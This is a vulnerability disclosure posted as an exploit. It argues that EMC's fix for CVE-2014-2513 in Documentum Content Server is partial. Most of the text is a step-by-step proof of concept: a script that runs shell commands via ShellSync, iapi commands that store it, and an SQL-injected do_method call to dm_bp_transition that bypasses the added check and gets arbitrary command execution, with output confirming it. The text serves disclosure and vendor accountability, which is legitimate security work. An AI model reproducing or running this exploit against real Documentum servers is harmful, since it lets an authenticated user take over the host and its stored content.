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EMC Documentum Content Server CVE-2014-2513 Bad Fix

EMC Documentum Content Server CVE-2014-2513 Bad Fix
Posted Jul 9, 2015
Authored by Andrey B. Panfilov

The fix for the EMC Documentum Content Server vulnerability as highlighted in CVE-2014-2513 appears to be partial and still exploitable via slightly modified means.

tags | exploit
advisories | CVE-2014-2513
SHA-256 | e93c2829969b19c504cd3f1c57ed73580f7207de2859d1e952e49e3a60186fc8

EMC Documentum Content Server CVE-2014-2513 Bad Fix

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Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

On November 2013 I discovered vulnerability in EMC Documentum Content Server
which allow authenticated user to execute arbitrary commands using
dm_bp_transition docbase method (for detailed description see
VRF#HUFPRMOP.txt).

On July 2014 vendor announced ESA-2014-064 which was claiming that
vulnerability has been remediated.

On November 2014 fix was contested (there was significant delay after
ESA-2014-064 because vendor constantly fails to provide status of reported
vulnerabilities) by providing another proof of concept, description provided
to CERT/CC (another CNA was chosen because vendor fails to communicate) was:

=================================8<================================
I have tried to reproduce PoC, described in VRF#HUFPRMOP, and got following
error:

[ErrorCode] 1000 [Parameter] 0801fd08805c9dfe [ServerError] Unexpected
error: [DM_API_W_NO_MATCH]warning: "There was no match in the
docbase for the qualification: dm_procedure where r_object_id =
'0801fd08805c9dfe'"

Such behaviour means that EMC tried to remediate a security issue by
“checking” object type of supplied object:

Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> id,c,dm_procedure where r_object_id = '0801fd08805c9dfe'
...
[DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the
qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'"

API> Bye

bin]$ strings dmbasic| grep dm_procedure
id,%s,dm_procedure where object_name = '%s' and folder('%s')
id,%s,dm_procedure where r_object_id = '%s'
# old version of dmbasic binary
bin]$ strings dmbasic| grep dm_procedure
bin]$

So, the fix was implemented in dmbasic binary, the problem is neither 6.7
SP2 P15 nor 6.7 SP1 P28 patches contain dmbasic binary - the first patch
that was shipped with dmbasic binary was 6.7SP2 P17. Moreover, the
issue is still reproducible because introduced check could be bypassed
using SQL injection:

~]$ cat test.ebs
Public Function EntryCriteria(ByVal SessionId As String,_
ByVal ObjectId As String,_
ByVal UserName As String,_
ByVal TargetState As String,_
ByRef ErrorString As String) As Boolean
t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")
EntryCriteria=True
End Function
~]$ cat /tmp/test
cat: /tmp/test: No such file or directory

~]$ iapi
Please enter a docbase name (docubase): repo
Please enter a user (dmadmin): test01
Please enter password for test01:


EMC Documentum iapi - Interactive API interface
(c) Copyright EMC Corp., 1992 - 2011
All rights reserved.
Client Library Release 6.7.2190.0142


Connecting to Server using docbase repo
[DM_SESSION_I_SESSION_START]info: "Session 0101fd088014000c started for
user test01."


Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> create,c,dm_sysobject
...
0801fd08805c9dfe
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> save,c,l
...
OK
API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
repo repo dmadmin "" 0000000000000000 0000000000000000
0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
from dm_sysobject where r_object_id=''0801fd08805c9dfe"
0000000000000000 0000000000000000 0000000000000000 ""
0 0 T F T T dmadmin 0000000000000000'

...

(1 row affected)

API> Bye
~]$ cat /tmp/test
dm_bp_transition_has_vulnerability
~]$

Here ‘union …’ allows to bypass check based on "id" call:

Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> id,c,dm_procedure where r_object_id='0801fd08805c9dfe,' union
select r_object_id from dm_sysobject where
r_object_id='0801fd08805c9dfe'
...
0801fd08805c9dfe
API> apply,c,,GET_LAST_SQL
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...

select all dm_procedure.r_object_id from dm_procedure_sp dm_procedure where
((dm_procedure.r_object_id='0801fd08805c9dfe,')) and
(dm_procedure.i_has_folder = 1 and dm_procedure.i_is_deleted = 0)
union select all dm_sysobject.r_object_id from dm_sysobject_sp
dm_sysobject where ((dm_sysobject.r_object_id= '0801fd08805c9dfe'))
and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0)

API> close,c,q0
...
OK

Comma is required to bypass error in fetch call:
API> fetch,c,0801fd08805c9dfe' union select r_object_id from
dm_sysobject where r_object_id='0801fd08805c9dfe
...
[DM_API_E_BADID]error: "Bad ID given: 0801fd08805c9dfe' union
select r_object_id from dm_sysobject where r_object_id=
'0801fd08805c9dfe"


API> fetch,c,0801fd08805c9dfe,' union select r_object_id from
dm_sysobject where r_object_id='0801fd08805c9dfe
...
OK
=================================>8================================

__
Regards,
Andrey B. Panfilov
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